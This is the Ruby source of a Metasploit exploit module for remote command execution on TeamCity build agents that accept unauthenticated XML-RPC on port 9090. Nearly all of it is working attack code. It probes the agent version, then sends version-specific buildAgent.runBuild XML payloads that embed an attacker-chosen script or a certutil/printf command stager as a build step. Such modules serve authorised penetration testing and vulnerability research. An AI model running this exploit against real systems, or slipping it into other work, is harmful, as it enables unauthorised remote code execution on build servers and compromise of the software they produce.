## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'TeamCity Agent XML-RPC Command Execution', 'Description' => %q( This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards. ), 'Author' => ['Dylan Pindur <[email protected]>'], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.tenable.com/plugins/nessus/94675'] ], 'Platform' => %w[linux win], 'Targets' => [ ['Windows', { 'Platform' => 'win' }], ['Linux', { 'Platform' => 'linux' }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 14 2015')) deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST') register_options( [ Opt::RPORT(9090), OptString.new( 'CMD', [false, 'Execute this command instead of using command stager', ''] ) ] ) end def check version = determine_version if !version.nil? && version >= 15772 Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit version = determine_version if version.nil? fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version') else print_status("Found TeamCity Agent running build version #{version}") end unless datastore['CMD'].blank? print_status('Executing user supplied command') execute_command(datastore['CMD'], version) return end case target['Platform'] when 'linux' linux_stager(version) when 'win' windows_stager(version) else fail_with(Failure::NoTarget, 'Unsupported target platform!') end end def windows_stager(version) print_status('Constructing Windows payload') stager = generate_cmdstager( flavor: :certutil, temp: '.', concat_operator: "\n", nodelete: true ).join("\n") stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>') xml_payload = build_request(stager, version) if xml_payload.nil? fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") end print_status("Found compatible build config for TeamCity build #{version}") send_request(xml_payload) end def linux_stager(version) print_status('Constructing Linux payload') stager = generate_cmdstager( flavor: :printf, temp: '.', concat_operator: "\n", nodelete: true ).join("\n") stager << ' &' xml_payload = build_request(stager, version) if xml_payload.nil? fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") end print_status("Found compatible build config for TeamCity build #{version}") send_request(xml_payload) end def execute_command(cmd, version) xml_payload = build_request(cmd, version) if xml_payload.nil? fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") end print_status("Found compatible build config for TeamCity build #{version}") send_request(xml_payload) end def determine_version xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.getVersion</methodName> <params></params> </methodCall> ) res = send_request_cgi( { 'uri' => '/', 'method' => 'POST', 'ctype' => 'text/xml', 'data' => xml_payload.strip! }, 10 ) if !res.nil? && res.code == 200 xml_doc = res.get_xml_document if xml_doc.errors.empty? val = xml_doc.xpath('/methodResponse/params/param/value') if val.length == 1 return val.text.to_i end end end return nil end def send_request(xml_payload) res = send_request_cgi( { 'uri' => '/', 'method' => 'POST', 'ctype' => 'text/xml', 'data' => xml_payload }, 10 ) if !res.nil? && res.code == 200 print_status("Successfully sent build configuration") else print_status("Failed to send build configuration") end end def build_request(script_content, version) case version when 0..15771 return nil when 15772..17794 return req_teamcity_6(script_content) when 17795..21240 return req_teamcity_6_5(script_content) when 21241..27401 return req_teamcity_7(script_content) when 27402..32059 return req_teamcity_8(script_content) when 32060..42001 return req_teamcity_9(script_content) when 42002..46532 return req_teamcity_10(script_content) else return req_teamcity_2017(script_content) end end def req_teamcity_2017(script_content) build_code = Rex::Text.rand_text_alpha(8) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>#{build_id}</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myBuildTypeExternalId>x</myBuildTypeExternalId> <myCheckoutType>ON_AGENT</myCheckoutType> <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout> <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout> <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myServerParameters class="StringTreeMap"> <k>system.build.number</k> <v>0</v> </myServerParameters> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myArtifactStorageSettings/> <myBuildFeatures/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myParametersSpecs class="StringTreeMap"/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootCurrentRevisions class="tree-map"/> <myVcsRootEntries/> <myVcsRootOldRevisions class="tree-map"/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myId>x</myId> <myIsDisabled>false</myIsDisabled> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myChildren class="list"/> <myServerParameters class="tree-map"> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> <myRunnerParameters class="tree-map"> <entry> <string>script.content</string> <string>#{script_content}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> </AgentBuild> ]]> </value> </param> </params> </methodCall> ) return xml_payload.strip! end def req_teamcity_10(script_content) build_code = Rex::Text.rand_text_alpha(8) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>#{build_id}</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myBuildTypeExternalId>x</myBuildTypeExternalId> <myCheckoutType>ON_AGENT</myCheckoutType> <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout> <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout> <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myServerParameters class="StringTreeMap"> <k>system.build.number</k> <v>0</v> </myServerParameters> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildFeatures/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myParametersSpecs class="StringTreeMap"/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootCurrentRevisions class="tree-map"/> <myVcsRootEntries/> <myVcsRootOldRevisions class="tree-map"/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myId>x</myId> <myIsDisabled>false</myIsDisabled> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myChildren class="list"/> <myServerParameters class="tree-map"> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> <myRunnerParameters class="tree-map"> <entry> <string>script.content</string> <string>#{script_content}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> </AgentBuild> ]]> </value> </param> </params> </methodCall> ) return xml_payload.strip! end def req_teamcity_9(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>#{build_id}</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myBuildTypeExternalId>x</myBuildTypeExternalId> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myServerParameters class="StringTreeMap"> <k>system.build.number</k> <v>0</v> </myServerParameters> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildFeatures/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootCurrentRevisions class="tree-map"/> <myVcsRootEntries/> <myVcsRootOldRevisions class="tree-map"/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myId>x</myId> <myIsDisabled>false</myIsDisabled> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myChildren class="list"/> <myServerParameters class="tree-map"> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> <myRunnerParameters class="tree-map"> <entry> <string>script.content</string> <string>#{script_content}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> </AgentBuild> ]]> </value> </param> </params> </methodCall> ) return xml_payload.strip! end def req_teamcity_8(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>#{build_id}</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myServerParameters class="tree-map"> <entry> <string>system.build.number</string> <string>0</string> </entry> </myServerParameters> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootCurrentRevisions class="tree-map"/> <myVcsRootEntries/> <myVcsRootOldRevisions class="tree-map"/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myId>x</myId> <myIsDisabled>false</myIsDisabled> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myChildren class="list"/> <myServerParameters class="tree-map"> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> <myRunnerParameters class="tree-map"> <entry> <string>script.content</string> <string>#{script_content}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myBuildFeatures/> </AgentBuild> ]]> </value> </param> </params> </methodCall> ) return xml_payload.strip! end def req_teamcity_7(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>#{build_id}</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myServerParameters class="tree-map"> <no-comparator/> <entry> <string>system.build.number</string> <string>0</string> </entry> </myServerParameters> <myVcsRootOldRevisions class="tree-map"> <no-comparator/> </myVcsRootOldRevisions> <myVcsRootCurrentRevisions class="tree-map"> <no-comparator/> </myVcsRootCurrentRevisions> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootEntries/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myRunnerParameters class="tree-map"> <no-comparator/> <entry> <string>script.content</string> <string>#{script_content}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> <myServerParameters class="tree-map"> <no-comparator/> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myBuildFeatures/> </AgentBuild> ]]> </value> </param> </params> </methodCall> ) return xml_payload.strip! end def req_teamcity_6_5(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.run</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>#{build_id}</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myPersonal>false</myPersonal> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myServerParameters class="tree-map"> <no-comparator/> <entry> <string>system.build.number</string> <string>0</string> </entry> </myServerParameters> <myVcsRootOldRevisions class="tree-map"> <no-comparator/> </myVcsRootOldRevisions> <myVcsRootCurrentRevisions class="tree-map"> <no-comparator/> </myVcsRootCurrentRevisions> <myAccessCode/> <myArtifactDependencies/> <myBuildTypeOptions/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootEntries/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myRunnerParameters class="tree-map"> <no-comparator/> <entry> <string>script.content</string> <string>#{script_content}</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> <myServerParameters class="tree-map"> <no-comparator/> </myServerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> </AgentBuild> ]]> </value> </param> </params> </methodCall> ) return xml_payload.strip! end def req_teamcity_6(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.run</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>#{build_id}</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myAccessCode></myAccessCode> <myPersonal>false</myPersonal> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myServerParameters class="tree-map"> <no-comparator/> <entry> <string>system.build.number</string> <string>0</string> </entry> </myServerParameters> <myVcsRootOldRevisions class="tree-map"> <no-comparator/> </myVcsRootOldRevisions> <myVcsRootCurrentRevisions class="tree-map"> <no-comparator/> </myVcsRootCurrentRevisions> <myArtifactDependencies/> <myBuildTypeOptions/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootEntries/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myRunType>simpleRunner</myRunType> <myServerParameters class="tree-map"> <no-comparator/> </myServerParameters> <myRunnerParameters class="tree-map"> <no-comparator/> <entry> <string>script.content</string> <string>#{script_content}</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> </AgentBuild> ]]> </value> </param> </params> </methodCall> ) return xml_payload.strip! end end